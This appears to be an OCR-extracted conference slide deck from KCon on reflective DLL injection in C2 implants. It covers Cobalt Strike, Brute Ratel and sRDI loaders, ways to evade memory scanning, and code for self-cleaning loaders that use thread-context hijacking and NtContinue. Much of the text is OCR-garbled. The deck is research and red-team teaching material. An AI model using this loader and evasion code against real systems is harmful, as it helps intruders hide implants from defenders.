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\SELF INTRODUCTION

okf8IE (evilash) ,Offensive Security Researcher

o ZINEHEEINANK, EFENAKHREILKZRE
e EBRAM: WM. ADIEHZE, AR, WindowsZ AR &
e Counter-Strike 1.6 (A2 =HEFHEI) FE

« BEREHERADLabSAZEMRA. TEEETEZ MREKEE.
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\ABSTRACT

e RDI (ReflectiveDLLInjection) B @stephenfewer &% F114ER]

e RDIZE—TRENAFAZMMITRAR

W%, RDI H7AZ C2/RAT VIR IME AR post-ex HABIHZEANXER R Z—
 [#%&E RDI £ C2 AN ARIZEMN, URENFEANARE, MHRNEYHE ToESHAREN
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\REFLECTIVE DLL INJECTION

Technique Flow

Allocate a New Copy Header and
Start S Memory with —————>  Sections to New
VirtualAlloc Memory

End <———  CallDliMain ~ &—— FerselATandreloc o |



*7F RDI

\REFLECTIVE DLL INJECTION

1.locate PE header

MZ

text

T

2.Alloc Memory and Parse PE

.rdata

.data

.reloc

New Memory

MZ

text

.rdata

3.Execute DLLMain

KCon
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\OPSEC IN RDI

General Statistics

Hide free regions

Base address

0x1cc226b9000
0x1cc22743000
0x1cc22794000
0x1cc227ed000
0x1cc22800000
0x1cc22a00000
0x1cc22a13000
0x1cc22a24000
0x1cc22a39000
0x1cc22a6e000
0x1cc22a97000
0x1cc22aac000
0x1cc22ae5000
0x1cc22b2d000
0x1cc22bf4000
0x1cc22¢80000
0x1cc22d00000
0x1cc22d20000

L
l’ 0x1€c25090000

Performance Threads Token Modules Memory Enviro

Ty
vate: Commit
Private: Commit
Private: Commit
Private: Commit
Private: Commit
Private: Commit
Private: Commit
: Commit
: Commit
Private: Commit
Private: Commit
Private: Commit
Private: Commit
Private: Commit
Private: Commit
Private: Commit
Private: Commit
vate

V-

&
0x1cc2791f000
0x1cc27ac0000

r 320606

\l 0x1cc2cac0000

TORTECZecu0000
0x1cc2cc13000
0x1cc2cc2c000
0Ox1cc2ccd6000
v eedecfhnnn

Private: Commit

Size
548 kB
320 kB
352 kB

76 kB
4kB
72 kB
64 kB
80 kB
208 kB
160 kB
80 kB
224 kB
284 kB
792 kB
48 kB
4kB
4kB
272 kB

108 kB

12

Private: Commit 7

Private: Commit
Private: Commit

96 kB
676 kB

Protection

RW
RW
RW+NC

RWX

RW
RW

Use

String

Re-read

KCon

HReflectiveLoaderREMITRER, AEFSEH2RAEFEX,
Hh—RZ2HBRDIKIBXE, B—RAIRDIMITHECIENEFDLL
XHEHNRWXKX L, #SHEEDR/AVKIEER,
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\OPSEC IN RDI

SHMAFRTE, 8&ReflectivelLoaderHNRNEFXEEZ T Ew, FIEERE, AMMEIN:

E—HM: EHITENDLLMainhFEEANZHLL, #H{TFree

CobaltStrike:

DLL_METASPLOIT_ATTACH:

(setting_short(SETTING_CLEANUP) == 1 && hinstDLL != NULL) {

(VirtualQuery((char *)hinstDLL, &mbi, (MEMORY_BASIC_INFORMATION)))
(mbi.Type == MEM_PRIVATE){

VirtualFree((char *)hinstDLL, 0, MEM_RELEASE);

(mbi.Type == MEM_MAPPED)

UnmapViewOfFile((char *)hinstDLL);

BRCA4:

BOOL WINAPI D1lMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID 1pReserved)

{

BOOL bReturnValue = TRUE;
(dwReason)

{
DLL_PROCESS_ATTACH: {
DLL_SWEEPER *dl1Sweeper = ( DLL_SWEEPER*)1pReserved;
CHAR* newlpParam = NULL;

task_crealloc(&newlpParam, (CHAR*)dllSweeper->1lpParameter);
VirtualFree((LPVOID)dl1Sweeper->1lpParameter, 0, MEM_RELEASE);
VirtualFree( (LPVOID)dl1Sweeper->dl1lInitAddress, ©, MEM_RELEASE);

badger_main(newlpParam);
H
DLL_PROCESS_DETACH:

DLL_THREAD_ATTACH:
DLL_THREAD_DETACH:

)

bReturnValue;

KCon
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\OPSEC IN RDI

B _F: ERDIF#HITHBRIRNK

KaynStrike:

( NT_SUCCESS( Instance.Win32.NtCreateThreadEx( &hThread, THREAD_ALL_ACCESS, NULL,
NtCurrentProcess(), Instance.Win32.TpReleaseCleanupGroupMembers + 0x450, NULL, TRUE, 0, 0, 0, NULL ) )

)

CtxEntry.ContextFlags = CONTEXT_FULL;
Instance.Win32.NtGetContextThread( hThread, &CtxEntry );

CtxEntry.Rip = U_PTR( KaynDllMain );
CtxEntry.Rcx U_PTR( KVirtualMemory );
CtxEntry.Rdx U_PTR( 4 );

CtxEntry.R8 U_PTR( NULL );

CtxEntry.ContextFlags = CONTEXT_FULL;
Instance.Win32.NtSetContextThread( hThread, &CtxEntry );
Instance.Win32.NtResumeThread( hThread, 0 );

}

CtxFreeMem.ContextFlags
KMemSize

CONTEXT_FULL;
0;

Instance.Win32.RtlCaptureContext( &CtxFreeMem );

CtxFreeMem.Rip
CtxFreeMem.Rcx
CtxFreeMem.Rdx

U_PTR( Instance.Win32.NtFreeVirtualMemory );

U_PTR( NtCurrentProcess() );

U_PTR( &KMemBase );

CtxFreeMem.R8 U_PTR( &KMemSize );

CtxFreeMem.R9 U_PTR( MEM_RELEASE );

*( ULONG_PTR* )( CtxFreeMem.Rsp + ( si ( ULONG_PTR ) * 0x0 ) ) = U_PTR(
Instance.Win32.RtlExitUserThread );

CtxFreeMem.ContextFlags = CONTEXT_FULL;
Instance.Win32.NtContinue( &CtxFreeMem, FALSE );

MROPHIEIE, BIARSERRS, TXSERNERESE
f E T, EANtContinue T, MiET AIAE O EEE S
R XA IE

KCon
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\OPSEC IN RDI

JR4GRDIEDOS Headerth N A THATF, XFEEAFREFEIEHENPEX

uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS )uiHeaderValue)-
>0ptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );

( (PIMAGE_NT_HEADERS )uiHeaderValue)->0OptionalHeader.SizeOfHeaders;

uiValueA =
uiValueB = uilLibraryAddress;
uiValueC = uiBaseAddress;

( uivValueA-- )
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;

KCon

BEREHPERFTEERDIM E(EMAEI SizeOflmage.

SizeOfHeaders. entryPoint, ImageBase...

AT\
a. JLARH TG, FIEEPEXED
b. XDLLFILE, BEENEREX —TBEEXSE

14
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\OPSEC IN RDI

[RIGRDILA PAGE_EXECUTE_READWRITE REBIEFHAEF

L HIFRWIERN AR, BEPENAESectionEER[EHE
RENIR, FIMZEESERENNER, XEPHE, 8—1TK
FXEHEEGBRE—LHIRNTE, BEELENRWXEXE,

void SetSectionProtections(PSECTION_INFORMATION section, ULONG_PTR dstAddress, PWINDOWSAPIS winApi) {

DWORD executable, readable, writeable, protect;

executable = (section->Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;
readable = (section->Characteristics & IMAGE_SCN_MEM_READ) != 0;
writeable = (section->Characteristics & IMAGE_SCN_MEM_WRITE) != 0;

(!executable && !readable && !writeable)
protect = PAGE_NOACCESS;

(!executable & !readable && writeable)
protect = PAGE_WRITECOPY;

(!executable & readable && !writeable)
protect = PAGE_READONLY;

(!executable & readable && writeable)
protect = PAGE_READWRITE;

(executable & !readable && !writeable)
protect = PAGE_EXECUTE;

(executable && !readable && writeable)
protect = PAGE_EXECUTE_WRITECOPY;

(executable && readable && !writeable)
protect = PAGE_EXECUTE_READ;

(executable && readable && writeable)
protect = PAGE_EXECUTE_READWRITE;

(section->Characteristics & IMAGE_SCN_MEM_NOT_CACHED) {
protect |= PAGE_NOCACHE;

winApi->VirtualProtect((LPVOID)(dstAddress + section->VirtualAddress), section->SizeOfRawData,

protect, &protect);

}

KCon
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\OPSEC IN RDI

RDIF, EEEIATHRMES B EENELBRN, EEZLoadLibrary()
tesh, MIBRE#REAE, DLLRTERNAFZME FIREFE", ERyara 3 AEF XA AR

iR R B :

a. A INxdLoadLibraryi AR ERYR, tb@lProxyDllLoad (GEEM AN )
b. fEFmodule stomping, 1BEE#1#5Sleepiite, E7ESleepHiE IR E R 1F
c. {8 beacon, {EAwininet., winhttpZEHEXWAPIZIEEAN, FNEMEIATH

d. MR RAZWMwinhttpiX K EEREVREAIAI, ATLAMB LSS AwinhttpBI{E AR AN ARIDLL

KCon
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\OPSEC IN RDI

R RDIF, ReflectiveLoaderR#EEPEMN R HEF

XTSHERBERTHEND T, EZMEFETDOLLA textiRA,

WETBTHNREFER, XBE—TEENIOC,

BLrBRBHTATEE, AJUARIERDIX

X IR RS X 15 4% 2 i i

ATHARE,

Sl

MZ

text

| DLLMain |

.rdata

.data

.reloc

KCon

Alloc Memory and Parse PE

Mz

text

| DLLMain |

S

.rdata

.data

.reloc

_______________________________
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\OPSEC IN RDI

_______________________

B IA R ELoader Memory#1TPE load, MABIGFHMWprivateF

i ImageBase i

| i

i Mz. Dum%E i calc.exe i

SEIDLL 4T FLb I, thin, Gl —suspendedi#i2, JBAES e \% / |
= e : Dump PE : i

MPERE TR, EAIMEFRENS, Bi#TEEMEshellcode, Progfem L ol

calc.exe

RDIMITERE, ®ETFOAFIRVAIERIE U REIIBIERZRIRIE

3. Save
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\EVOLUTION IN RDI

ReflectiveDLLInjection IAT HOOK
o o) ‘ ! ' o) o)
KCon
2024

2 BIDLL{E b prepended RDI



RDIfg 1L,

\EVOLUTION IN RDI

= 5¢DLLE#k

B ARIPESL, PatchiL4wiE<, XA HRIDLLS LAY

ReflectiveLoader R £ i1t

CSHEZtiABeaconilE AU &

post—ex JObRRHMITIHIRA XM AN,

MZ (4D 5A 41 52) .

BootStrap

Other PE Header

ReflectiveDllLoader() €—

/*

(0x4D);
(0x5A);

(0x41);
(0x52);

(0x55) 3

(0x48);
(0x89);
(0XE5);

(0x48);
(0x81);
(OXEC);
(0x20);
(0x00);
(0x00);
(0x00);

(0x48);
(0x8D);
(0x1D);
(OXEA);
(OXFF);
(OXFF);
(OxFF);

(0x48);
(0x81);
(0xC3);

( )5

(OxFF);
(0xD3);

(0x48);
(0x89);
(0xC3);

(0x49);
(0x89);
(0xF8);

(0x68);
(0x04);
(0x00);
(0x00);
(0x00);
(0x5A);
(OXFF);
(0xD0);

(0x41);
(0xB8);

(0x68);
(0x05);
(0x00);
(0x00);
(0x00);

(0x5A);
(OxFF);

(0xD3);

/*

/*

/*

Vi3

/*

Vi3

/*

/*

/%

/*

/*

/*

/%

/*

/*

/*

/*

2

=/

SEX/

/%

*

3 our

/

7

= our

/

= 'Mz' %/

/

2/

=/

KCon

=/

&/
x/
i
7]
) */
=7
=/
*/
=/
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\EVOLUTION IN RDI

prepended RDI (BI&LRDI)

BEBRYH I FDouble Pulsart§FI R :
» iBReflectiveLoaderREIBEERHINEEZEIDLLAYRIE, LL File

RDI[@ 5 EBDLLAY E ik

DOS Header NT Header Section Header .text .data .reloc
s RAEMAEEZEReflectiveLoader RN th # 12 I B H Stephen
Fewer e | __ .
|r b - Ir Reflective |
A 73 B4 5] B il |__ Loader _]
o NHAHI{EBE EReflectiveLoaderXEAIDLL NT Header
ReflectiveLoader DOS Header NT Header Section Header .text .data reloc
Double
Pulsar

BHFRDIFIDLLE S FFHI, F7DLLA, FRLARDIfZEcopyBt#iAREERDI copyZlEFNTE
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\EVOLUTION IN RDI

sRDI
+ PATHBEFALIZ, HIERDIRHADLL M SED! Tpr@monoxaas:

o AMERFELLIROPSEC
3R im Az LR sRDI - Shellcode Reflective DLL Injection

o LR ERIRIE TVRDIAYEI

ShellcodeRDI: C
NativeLoader: erts DLL to shellcod: ccesarry, then i

DotNetLoad

Bootstrap shellcode + RDI shellcode + DLL Bytes + User data

Pythonm\ConvertToShellcode.py L e in place

Python\EncodeBlobs.py: Enc

PowerShell\ConvertTo-Shellcode.ps1: C

TestDLL: Example DLL that inc 0 fun r on d and after

The DLL does not need to be compiled with RDI, however the technique is cr mpatiable.
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\EVOLUTION IN RDI

CobaltStrike UDRL arsenal-Kit

CSEYUDRL{ER T #pragma 3E<, code_segr BFIEEMTE D A

] o Loader DLL
FEMBEERN, RETUERTREENXEDSBTHE, s
$z
l.text$a. .text$b
E X ReflectiveLoaderR#NE. . textERM R F B
#pragma code_seg(".text$a")
ULONG_PTR WINAPI Reflectiveloader(VOID) { ReflectiveLoader End of Loader
[..SNIP..]
}
#pragma code_seg(".text$b")
[..SNIP..]

FLArEnd()fE.text BN R B B

#pragma code_seg(".text$z")
voild LdrEnd() {}




- RDIgg#H 1t

\EVOLUTION IN RDI

obfuscation in RDI

Crypted Buffer

Decrypt Stub Custom Random
iy RAl RDL Beacon.dll

MERE, BOU#—FEREREshellcodeffF (entropy) , #

T—ERBIRE, RETUBFAFSHBMRRIENSshellcode

— 1 7 RDI

Old Memory

Decrypted Stub

Encrypted Buffer

Ty
1
: New Memory
1
1
1
: text
1
1
: DLLMain
—>
1
: .rdata
1
: .data
1
1 .reloc
1
1
1
1

KCon

1. Decrypt DLL
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\EVOLUTION IN RDI

BRCA4:

obfuscated shellcode:

@ 11/65 security vendors flagged this file as malicious

[0}

badger_x64_stealth_wait.bin

DETECTION DETAILS COMMUNITY

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Family labels

Popular threat label

Security vendors' analysis )
Arcabit

AlYac

payload.bin

DETECTION DETAILS COMMUNITY

marte

dsourced detections, plus an API key to automate checks.

Join our Community and enjoy additional communi

Security vendors' analysis ®
AhnLab-v3

Acronis (Static ML) Undetected

shellcode

Undetected

KCon
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\EVOLUTION IN RDI

2[0]6]¢

o TAEIATLAEAIFZARMIAT Hook

o F¥iBeaconNAPIIFB4FE

- IERINE/RE

beacon.dll

RDI Hook kernel32.dll
Function
CALL
>
N
____________ - I T, 1 I
I f | ]
I I I /
Sleep() I I Sleep Hook() : /'
I I
CreateThread() : >: CreateThread Hook() : //
__________ r— -
InternetOpenA() : : InternetOpenA_Hook() :
I I
InternetConnectA() : : InternetConnectA_Hook() :
| 1 |

—————————————————

KCon
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\SELF CLEANUP IN POST-EX JOB

ERC2MATINEER N

TR AR/ R RATS, EM
2 4= H‘)a"n m‘\'_‘_'l
TR TR N B A TR S M B RS e s REL
fork&run X 4
B L B BT D AR B — AR 2 ERDIE R E B 5
BTG, MTT— RS S ,
Self Inject e X

Worker Process K '




Phantom Execution

\SELF CLEANUP IN POST-EX JOB

THBERR IR,

1

T

=
G

=
EE

)

1B

t

5 i3

=,

AN
=~

R E B SRDIRE M shellcode AR DLLEBeaconi#

Performance r Modules

Environment Handles

Strings...

ERERTHAFR

O

Performance Threads < Modules

Environment Handles

String:

_DATY

KCon



Phantom Execution KCon

\SELF CLEANUP IN POST-EX JOB

B4runbin.

ey
o h s

(%]

1010 0o oo
140 o0 0o

Loader Memory New Memory
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\SELF CLEANUP IN POST-EX JOB

B4runbin. O

Performance Threads Token Modules

fEERETRITEERIE, RBRATFAUEM, LWRTER: = —

Strings...

A, BMNRFESXEGRTRER, CFEERFRHERTHDOLL
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\SELF CLEANUP IN POST-EX JOB

KCon

PRAZNEEERDII RGN A B AF?

F—, SABNTRBE, BrUMMERERNITTRE?

B RTARE—EEEERRRFRIEER, FENNANEE, BUERE
ZR, ENSHEAFHRE R

£, WMEIEZIRDIAS BRI

{E£ABeaconZ &HDLLMain3REY, LILLRED], HFBEBBEEFFIDLLMaiIn
K, XEFEHETSERNER

RDIAGZ A UNZR D EAAFMIL, FREA, SEAEEILRDIRBMMIRATZF?



Phantom Execution KCon

\SELF CLEANUP IN POST-EX JOB

AUBIZ— T EREHFR, MMEXENRTREENTFERE, HNEDLLRRITRERFNIMAEXitThread(),
ERDIABIZ &N AN ERIT, B URINFEEH S ENAFR

ntApi.NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, NtCurrentProcess(), (PVOID)
( (ULONG_PTR )winApi.TpReleaseCleanupGroupMembers + (ULONG_PTR)®x8950), NULL, TRUE, 0, 0, 0, NULL)

CtxEntry.ContextFlags = CONTEXT_FULL;
ntApi.NtGetContextThread(hThread, &CtxEntry);

CtxEntry.Rip
CtxEntry.Rcx
CtxEntry.Rdx

UINT_PTR(entryPoint);
UINT_PTR(loadedD11BaseAddress);
UINT_PTR(DLL_PROCESS_ATTACH);

CtxEntry.ContextFlags = CONTEXT_FULL;
ntApi.NtSetContextThread(hThread, &CtxEntry);
ntApi.NtResumeThread(hThread, 0);

otherApi.WaitForSingleObject(hThread, INFINITE);
winApi.VirtualFree((LPVOID)loadedDl1BaseAddress, @, MEM_RELEASE);



< Phantom Execution KCon

\SELF CLEANUP IN POST-EX JOB

Al TR AEEEERNTHDLLEAINEXitThread(), X2

AEE5E3E, DLLARIMATAASHMBEERZNERE.

B ERFFHAS, WERSPHIZENELZLEAPI, TULENLZERE,

ntApi.NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, NtCurrentProcess(), (PVOID)
( (ULONG_PTR )winApi.TpReleaseCleanupGroupMembers + (ULONG_PTR)0x8950), NULL, TRUE, 0, 0, 0, NULL)

CtxEntry.ContextFlags = CONTEXT_FULL;
ntApi.NtGetContextThread(hThread, &CtxEntry);

CtxEntry.Rip = UINT_PTR(entryPoint);
CtxEntry.Rcx = UINT_PTR( loadedD11BaseAddress);
CtxEntry.Rdx UINT_PTR(DLL_PROCESS_ATTACH);

*(ULONG_PTR* )CtxEntry.Rsp = UINT_PTR(ntApi.RtlExitUserThread);

CtxEntry.ContextFlags = CONTEXT_FULL;
ntApi.NtSetContextThread(hThread, &CtxEntry);
ntApi.NtResumeThread(hThread, 0);

otherApi.WaitForSingleObject(hThread, INFINITE);
winApi.VirtualFree((LPVOID)loadedD11BaseAddress, 0, MEM_RELEASE);



Phantom Execution KCon

\SELF CLEANUP IN POST-EX JOB

BETMNRTLZE, BMNTUERAMEROPHNE I (MKaynStrike—1¥) XEHEERDIE S

(otherApi.VirtualQuery((charx)loaderStart, &mbi, < (MEMORY_BASIC_INFORMATION)))
{
(mbi.Type == MEM_PRIVATE) {

CtxFreeMem.ContextFlags = CONTEXT_FULL;
ntApi.RtlCaptureContext(&CtxFreeMem);
CtxFreeMem.Rip = UINT_PTR(winApi.VirtualFree);

CtxFreeMem.Rcx UINT_PTR( loaderStart);

CtxFreeMem.Rdx = UINT_PTR(0Q);

CtxFreeMem.R8 = UINT_PTR(MEM_RELEASE);

*(ULONG_PTR* )CtxFreeMem.Rsp = UINT_PTR(ntApi.RtlExitUserThread);

1]

1]

(mbi.Type == MEM_MAPPED) {

CtxFreeMem.ContextFlags = CONTEXT_FULL;
ntApi.RtlCaptureContext(&CtxFreeMem);

1]

CtxFreeMem.Rip = UINT_PTR(otherApi.UnmapViewOfFile);
CtxFreeMem.Rcx = UINT_PTR(loaderStart);
*(ULONG_PTR* )CtxFreeMem.Rsp = UINT_PTR(ntApi.RtlExitUserThread);

CtxFreeMem.ContextFlags = CONTEXT_FULL;
ntApi.NtContinue(&CtxFreeMem, FALSE);



Phantom Execution

\SELF CLEANUP IN POST-EX JOB

x86 T 4 1&

WA AFTREL:

CtxEntry.Rip = UINT_PTR(entryPoint);

CtxEntry.Rcx UINT_PTR( loadedD11BaseAddress);
CtxEntry.Rdx = UINT_PTR(DLL_PROCESS_ATTACH);
*(ULONG_PTR*)CtxEntry.Rsp = UINT_PTR(RtlExitUserThread);

I

DWORD* originalStack = (DWORD*)CtxEntry.Esp;
DWORD* newStack = originalStack - 4;

newStack[0] = (DWORD)UINT_PTR(RtlExitUserThread);
newStack[1] = (DWORD)loadedDl11BaseAddress;
newStack[2] = (DWORD)DLL_PROCESS_ATTACH;

CxEntry.Esp = (DWORD )newStack;
CtxEntry.Eip = (DWORD )entryPoint;

M 4TDLLMain

CtxFreeMem.Rip UINT_PTR(VirtualFree);
CtxFreeMem.Rcx UINT_PTR(Cleanlob);
CtxFreeMem.Rdx UINT_PTR(0);
CtxFreeMem.R8 = UINT_PTR(MEM_RELEASE);

*(ULONG_PTR* )CtxFreeMem.Rsp = UINT_PTR(RtlExitUserThread);

DWORD* originalStack = (DWORD*)CtxFreeMem.Esp;
DWORD* newStack = originalStack - 4;

newStack[0] = (DWORD)UINT_PTR(RtlExitUserThread);
newStack[1] (DWORD )mb1i.BaseAddress;

newStack[2] (DWORD )0

newStack[3] = (DWORD)MEM_RELEASE;

CtxFreeMem.Esp = (DWORD )newStack;

CtxFreeMem.Eip (DWORD )VirtualFree;

85

KCon
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\SELF CLEANUP IN POST-EX JOB

HERK, MEET —MUKBIRDITTE, FTHEEEKBeacon. UEDLLABNEBSEESHIT. BREAX
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\SELF CLEANUP IN POST-EX JOB

BIXR, BNERTIE? FEHEERE.
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\SELF CLEANUP IN POST-EX JOB

BE—TEE, B—RELEDLLIEANRTRETK?

RDIF—EAEFENITERT AINFEBS, BARIKBARDIFIRIGDLLER
ENAEFEM—EEEE, BN 7 KAExR.

B R B LA B AR R — 1 8] 852

SRDINfEmTER 7, FERDINAFEERE, ARZEEFRITHAZFLDLLMaIN



< Phantom Execution

\SELF CLEANUP IN POST-EX JOB

BR, XBEABESERDIXRFEEENHTAE,
B EEERDIREABIEEEFRNE?

HEHBEBERDIERXHITDLLMaIN?

FRIAEE B & —E&shellcode, mEIEER
BB RERDIAG EMITXLES| KB FR (O,

{ER#tpragmats L F{ECleanJobFH A FEITIEEKBIHFE Sy,

i FERE TR

KCon

$b,

Loader
$c, $d....

$a | 1 Sy 8z

ReflectiveLoader

CleanJob End of Loader

DLL
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\SELF CLEANUP IN POST-EX JOB

1.locate PE header ReflectiveLoader i i
CleanJobEE i+ E MBI EHReflectiveLoaderZlCleanJoby _\ ! i
i text :
j(/J\’ %E?ﬁmﬁDLLMamﬁ%ﬁCleanJob;ﬂtUPE}%E‘BE’\J|Zi§ﬁ, 4 i _\ i
MZ | |
EEI§ }-E’ 5%5 IE E a , tt 53\517&1_( ,}:Dli d ot 2.Alloc Memory and Parse PE i i
: .rdata :
[ oumen | : |
i .data i
.rdata i e i
.data 1 SRR :
reloc

4.Execute DLLMain



Phantom Execution

\SELF CLEANUP IN POST-EX JOB

— S fitt, ERDIBIEHRAEFEHRRE, ECleanJobsft#Z M 2Fh
AN, AEBENDLLIERA, AEFEABCleandob i FE
W17,

BAEEX—TERE, FAEIKECleandob i EAY A /N K it -

PVOID GetCleanData(PDWORD Length)
af
PVOID
DWORD Size

NULL;
0;

Size = UINT_PTR(LdArEnd) - UINT_PTR(CleanJob);

#ifdef _WING4

= CleanJob;
#else
= PVOID((UINT_PTR)LdrEnd() - 8);
= PVOID(UINT_PTR( ) - Size);
#endif
(Length)
{
Length[0] = Size;
}
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DWORD myselfsize = 0;
LPVOID CleanJobAddr = GetCleanData(&myselfsize);

ULONG_PTR loadedD11BaseAddress = (ULONG_PTR)winApi.VirtualAlloc(NULL, rawDllNtHeader-
>0ptionalHeader.SizeOfImage + myselfsize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
(loadedD11BaseAddress == NULL) {
PRINT("[-] Failed to allocate memory. Exiting..\n");

3

{
PRINT("[+] Allocated memory: Ox%p\n", loadedDll1BaseAddress);

}

_memcpy( (void*)loadedD1l1BaseAddress, CleanJobAddr, myselfsize);
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void CleanJob(DLLMAIN entryPoint, ULONG_PTR loadedDllBaseAddress, void* loaderStart, ...) {

MEMORY_BASIC_INFORMATION mbi = { };
HANDLE hThread = NULL;

CONTEXT CtxFreeMem;

CONTEXT CtxEntry;

(VirtualQuery((char*)loaderStart, &mbi, (MEMORY_BASIC_INFORMATION))) {
(mbi.Type == MEM_PRIVATE) {
VirtualFree((char*)mbi.BaseAddress, 0, MEM_RELEASE);

(mbi.Type == MEM_MAPPED)
UnmapViewOfFile((char*)mbi.BaseAddress);

(NT_SUCCESS(NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, NtCurrentProcess( ), (PVOID)
((ULONG_PTR)TpReleaseCleanupGroupMembers + (ULONG_PTR)0x8950), NULL, TRUE, 0, 0, 0, NULL)
4G

CtxEntry.ContextFlags = CONTEXT_FULL;
NtGetContextThread(hThread, &CtxEntry);

CtxEntry.Rip = UINT_PTR(entryPoint);

CtxEntry.Rex = UINT_PTR(loadedDl1BaseAddress);
CtxEntry.Rdx = UINT_PTR(DLL_PROCESS_ATTACH);
*(ULONG_PTR*)CtxEntry.Rsp = UINT_PTR(Rt1ExitUserThread);

DWORD* originalStack = (DWORD*)CtxEntry.Esp;
DWORD* newStack = originalStack - 4;

newStack[0] = (DWORD)UINT_PTR(RtlExitUserThread);
newStack[1] = (DWORD)loadedDl1BaseAddress;
newStack[2] = (DWORD)DLL_PROCESS_ATTACH;
CtxEntry.Esp = (DWORD)newStack;

CtxEntry.Eip = (DWORD)entryPoint;

CtxEntry.ContextFlags = CONTEXT_FULL;
NtSetContextThread(hThread, &CtxEntry);
NtResumeThread(hThread, 0);

}

WaitForSingleObject(hThread, INFINITE);
(virtualQuery((char*)loadedDl1BaseAddress, &mbi, (MEMORY_BASIC_INFORMATION))) {
(mbi.Type == MEM_PRIVATE) {
CtxFreeMem. ContextFlags = CONTEXT_FULL;

RtlCaptureContext(&CtxFreeMem);

CtxFreeMem.Rip = UINT_PTR(VirtualFree);

CtxFreeMem.Rcx = UINT_PTR(CleanJob);

CtxFreeMem.Rdx = UINT_PTR(0);

CtxFreeMem.R8 = UINT_PTR(MEM_RELEASE);

*(ULONG_PTR* )CtxFreeMem.Rsp = UINT_PTR(Rt1ExitUserThread);

DWORD* originalStack = (DWORD*)CtxFreeMem.Esp;
DWORD* newStack = originalStack - 4;

newStack[0] = (DWORD)UINT_PTR(Rt1ExitUserThread);
newStack[1] = (DWORD)mbi.BaseAddress;

newstack[2] = (DWORD)O;

newStack[3] = (DWORD)MEM_RELEASE;

CtxFreeMem.Esp = (DWORD)newStack;

CtxFreeMem.Eip = (DWORD)VirtualFree;
CtxFreeMem. ContextFlags = CONTEXT_FULL;
NtContinue(&CtxFreeMem, FALSE);

(mbi.Type == MEM_MAPPED) {

CtxFreeMem.ContextFlags = CONTEXT_FULL;
RtlCaptureContext(&CtxFreeMem);

CtxFreeMem.Rip = UINT_PTR(UnmapView0fFile);
CtxFreeMem.Rcx = UINT_PTR(mbi.BaseAddress);
*(ULONG_PTR*)CtxFreeMem.Rsp = UINT_PTR(Rt1ExitUserThread);

DWORD* originalStack = (D\rlDRD*}CthreeMem Esp;
DWORD* newStack = originalStack - 4;

newStack[0] = (DWORD)UINT_PTR(RtlExitUserThread);
newStack[1] = (DWORD)mbi.BaseAddress;
CtxFreeMem.Esp = (DWORD)newStack;

CtxFreeMem.Eip = (DWORD)UnmapView0fFile;

CtxFreeMem.ContextFlags = CONTEXT_FULL;
NtContinue(&CtxFreeMem, FALSE);
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